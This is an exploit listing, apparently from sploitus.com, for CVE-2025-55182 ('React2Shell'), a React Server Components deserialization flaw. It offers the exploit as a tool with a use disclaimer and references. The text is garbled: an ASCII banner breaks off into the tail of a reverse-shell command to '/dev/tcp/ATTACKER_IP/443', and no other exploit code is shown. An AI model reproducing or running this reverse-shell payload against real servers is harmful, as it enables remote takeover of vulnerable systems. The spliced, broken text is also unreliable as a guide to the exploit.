Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182

## https://sploitus.com/exploit?id=22432794-870C-5EE0-AB18-C15F8EB99A11
# CVE-2025-55182 - React2Shell

```
    ____  _____    _    ____ _____ ____  ____  _   _ _____ _     _
   |  _ \| ____|  / \  / ___|_   _|___ \/ ___|| | | | ____| |   | |
   | |_) |  _|   / _ \| |     | |   __) \___ \| |_| |  _| | |   | |
   |  _ & /dev/tcp/ATTACKER_IP/443 0>&1\"')"
```

---

## Disclaimer

**This tool is provided for authorized security testing and educational purposes only.**

- Only use against systems you own or have explicit permission to test
- Unauthorized access to computer systems is illegal
- The authors are not responsible for misuse of this tool
- Always follow responsible disclosure practices

---

## References

- [CVE-2025-55182 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [Original PoC by Lachlan Davidson](https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc)
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js Security Advisory](https://github.com/vercel/next.js/security/advisories)
- [React Server Components Documentation](https://react.dev/reference/rsc/server-components)